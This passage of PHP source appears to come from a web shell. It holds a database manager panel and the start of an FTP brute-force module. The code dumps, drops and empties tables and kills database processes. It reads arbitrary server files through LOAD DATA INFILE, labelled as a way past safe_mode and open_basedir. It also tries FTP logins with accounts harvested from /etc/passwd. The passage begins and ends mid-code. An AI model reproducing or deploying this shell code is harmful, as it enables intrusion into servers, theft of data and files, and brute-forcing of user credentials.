        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
        if (!$c) {echo "No tables found in database.";}
      }
    }
    else {
      ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_dbs($sql_sock);
      if (!$result) {echo mysql_smarterror();}
      else {
        ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
        <?php
        $c = 0;
        $dbs = "";
        while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
        echo "<option value=\"\">Databases (".$c.")</option>";
        echo $dbs;
      }
      ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
      <?php
    }
    //End left panel
    echo "</td><td width=\"100%\">";
    //Start center panel
    $diplay = TRUE;
    if ($sql_db) {
      if (!is_numeric($c)) {$c = 0;}
      if ($c == 0) {$c = "no";}
      echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
      if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
      echo "</b></center>";
      $acts = array("","dump");
      if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_act = "query";}
      elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
      elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
      elseif ($sql_tbl_act == "insert") {
        if ($sql_tbl_insert_radio == 1) {
          $keys = "";
          $akeys = array_keys($sql_tbl_insert);
          foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
          if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
          $values = "";
          $i = 0;
          foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "\'".addslashes($v)."\'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
          if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
          $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
          $sql_act = "query";
          $sql_tbl_act = "browse";
        }
        elseif ($sql_tbl_insert_radio == 2) {
          $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
          $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
          $result = mysql_query($sql_query) or print(mysql_smarterror());
          $result = mysql_fetch_array($result, MYSQL_ASSOC);
          $sql_act = "query";
          $sql_tbl_act = "browse";
        }
      }
      if ($sql_act == "query") {
        echo "<hr size=\"1\" noshade>";
        if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
        if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
        if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
      }
      if (in_array($sql_act,$acts)) {
        ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="act" value="sql">
        <input type="hidden" name="sql_act" value="newtbl">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
        <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
        <input type="text" name="sql_newtbl" size="20">
        <input type="submit" value="Create">
        </form></td>
        <td width="30%" height="1"><b>Dump DB:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="act" value="sql">
        <input type="hidden" name="sql_act" value="dump">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
        <?php
        if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
        if ($sql_act == "newtbl") {
          echo "<b>";
          if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
            echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
          }
          else {echo "Can\'t create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
        }
        elseif ($sql_act == "dump") {
          if (empty($submit)) {
            $diplay = FALSE;
            echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
            echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
            $v = join (";",$dmptbls);
            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
            if ($dump_file) {$tmp = $dump_file;}
            else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
            echo "</form>";
          }
          else {
            $diplay = TRUE;
            $set = array();
            $set["sock"] = $sql_sock;
            $set["db"] = $sql_db;
            $dump_out = "download";
            $set["print"] = 0;
            $set["nl2br"] = 0;
            $set[""] = 0;
            $set["file"] = $dump_file;
            $set["add_drop"] = TRUE;
            $set["onlytabs"] = array();
            if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
            $ret = mysql_dump($set);
            if ($sql_dump_download) {
              @ob_clean();
              header("Content-type: application/octet-stream");
              header("Content-length: ".strlen($ret));
              header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
              echo $ret;
              exit;
            }
            elseif ($sql_dump_savetofile) {
              $fp = fopen($sql_dump_file,"w");
              if (!$fp) {echo "<b>Dump error! Can\'t write to \"".htmlspecialchars($sql_dump_file)."\"!";}
              else {
                fwrite($fp,$ret);
                fclose($fp);
                echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
              }
            }
            else {echo "<b>Dump: nothing to do!</b>";}
          }
        }
        if ($diplay) {
    if (!empty($sql_tbl)) {
      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
      $count_row = mysql_fetch_array($count);
      mysql_free_result($count);
      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
      $tbl_struct_fields = array();
      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
      $perpage = $sql_tbl_le - $sql_tbl_ls;
      if (!is_numeric($perpage)) {$perpage = 10;}
      $numpages = $count_row[0]/$perpage;
      $e = explode(" ",$sql_order);
      if (count($e) == 2) {
        if ($e[0] == "d") {$asc_desc = "DESC";}
        else {$asc_desc = "ASC";}
        $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
      }
      else {$v = "";}
      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
      $result = mysql_query($query) or print(mysql_smarterror());
      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
      if ($sql_tbl_act == "insert") {
        if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
        if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
        else {
          echo "<br><br><b>Inserting row into table:</b><br>";
          if (!empty($sql_tbl_insert_q)) {
            $sql_query = "SELECT * FROM `".$sql_tbl."`";
            $sql_query .= " WHERE".$sql_tbl_insert_q;
            $sql_query .= " LIMIT 1;";
            $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
            $values = mysql_fetch_assoc($result);
            mysql_free_result($result);
          }
          else {$values = array();}
          echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
          foreach ($tbl_struct_fields as $field) {
            $name = $field["Field"];
            if (empty($sql_tbl_insert_q)) {$v = "";}
            echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
            $i++;
          }
          echo "</table><br>";
          echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
          if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
          echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
        }
      }
      if ($sql_tbl_act == "browse") {
        $sql_tbl_ls = abs($sql_tbl_ls);
        $sql_tbl_le = abs($sql_tbl_le);
        echo "<hr size=\"1\" noshade>";
        echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
        $b = 0;
        for($i=0;$i<$numpages;$i++) {
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
          echo $i;
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
          if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
          else {echo "&nbsp;";}
        }
        if ($i == 0) {echo "empty";}
        echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
        echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
        echo "<tr>";
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
        for ($i=0;$i<mysql_num_fields($result);$i++) {
          $v = mysql_field_name($result,$i);
          if ($e[0] == "a") {$s = "d"; $m = "asc";}
          else {$s = "a"; $m = "desc";}
          echo "<td>";
          if (empty($e[0])) {$e[0] = "a";}
          if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
          else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
          echo "</td>";
        }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>+</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act)) {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb") {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can\'t create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus") {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars") {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes") {
     if (!empty($kill)) {
       $query = "KILL ".$kill.";";
       $result = mysql_query($query, $sql_sock);
       echo "<b>Process #".$kill." was killed.</b>";
     }
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = FALSE;
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = "";
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     mysql_drop_db($tmpdb);
    }
   }
  }
}
echo "</td></tr></table>
";
if ($sql_sock) {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>
";
}
//End of SQL Manager
if ($act == "ftpquickbrute") {
echo "<center><table><tr><td class=barheader colspan=2>";
echo ".: Ftp Quick Brute :.</td></tr>";
echo "<tr><td>";
if ($win) { echo "Can\'t run on Windows!"; }
else {
  function exftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
    else {$TRUE = TRUE;}
    if ($TRUE) {
      $sock = @ftp_connect($host,$port,$timeout);
      if (@ftp_login($sock,$login,$pass)) {
        echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
        ob_flush();
        return TRUE;
      }
    }
  }
  if (!empty($submit)) {
    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
    $fp = fopen("/etc/passwd","r");
